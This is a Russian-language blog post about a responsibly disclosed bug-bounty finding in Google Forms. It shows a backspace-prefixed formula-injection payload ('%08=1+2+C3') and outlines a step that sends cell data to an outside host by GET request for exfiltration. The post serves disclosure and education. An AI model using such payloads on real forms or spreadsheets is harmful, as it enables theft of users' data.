- PVSM.RU - https://www.pvsm.ru -
Все вы наверняка знаете о программе [1] от компании Google по поощрению исследователей в области информационной безопасности за предоставление информации о слабых местах на веб-ресурсах Google. Удалось и нам поучаствовать в данной программе. Вот небольшая история от меня и Леши Синцова d00kie [2].
Однажды нам очень понадобилось провести небольшое анкетирование, и в качесвте платформы для анкеты было решено использовать Google Docs.
В Google Docs существует такой объект, как Google Forms, и используется он, как это понятно из названия, для создания разного рода форм, опросов и анкет.

После создания формы, как правило, ссылка на нее публикуется в Интернете или раздается людям, которым необходимо пройти анкетирование.
Так форма выглядит для заполняющего:

А так создатель формы видит ответы на вопросы:

Мне кажется, что любой веб-ресечер при виде формы инстинктивно вставляет туда ',",> и другие интересные символы :)
Попробовали и мы, однако, как и ожидалось, всё энкодилось и фильтровалось.
Хм… а ведь весь пользовательский ввод вставляется в Excel-таблицу, почему бы тогда не попробовать заинъектить какую-нибудь формулу?
Формулы в Excel начинаются с символа "=".
ОК, пробуем.

Неудача. Хитрый Google вставляет символ пробела перед знаком "=", отчего формула воспринимается как простой текст в ячейке.
Как же убрать пробел? Очень просто: используем backspace :)
%08 — Hex-код клавиши backspace

Соответственно, в поле формы пишем:
%08=1+2+C3
И вуаля!

Формула отлично вставилась в таблицу.
Оставалось только придумать интресный и практичный вектор для такой своеобразной инъекции. Тут на помощь пришли Google Functions [3]:

С помощью Google Functions стало возможным выполнять запросы на любые домены, а результаты запроса вставлять в указанную ячейку.
Таким образом, сложился такой вектор атаки:
1) В ячейку A1 помещаем критичные пользовательские данные (либо они уже там расположены)
2) в ячейку Z31337 вставляем формулу, которая сделает GET-запрос на chipik_site.com/secret_data_in_base64_from_A1 [4]
3) Читаем логи вебсервера, получаем данные из ячеек
…
4) Profit!
Описав багу и возможный вектор атаки ребятам из Google Security Team, мы очень скоро получили следующее письмо:

а еще чуть-чуть позже увидели свои имена в Google Hall of Fame [5]:

Ну и напоследок — небольшой Google Hack ;)
Автор: chipik
Сайт-источник PVSM.RU: https://www.pvsm.ru
Путь до страницы источника: https://www.pvsm.ru/google/4380
Ссылки в тексте:
[1] программе: http://www.google.com/about/company/rewardprogram.html
[2] d00kie: http://habrahabr.ru/users/d00kie/
[3] Google Functions: https://support.google.com/docs/bin/static.py?hl=en&topic=25273&page=table.cs
[4] chipik_site.com/secret_data_in_base64_from_A1: http://chipik_site.com/secret_data_in_base64_from_A1
[5] Google Hall of Fame: http://www.google.com/about/corporate/company/halloffame.html
Нажмите здесь для печати.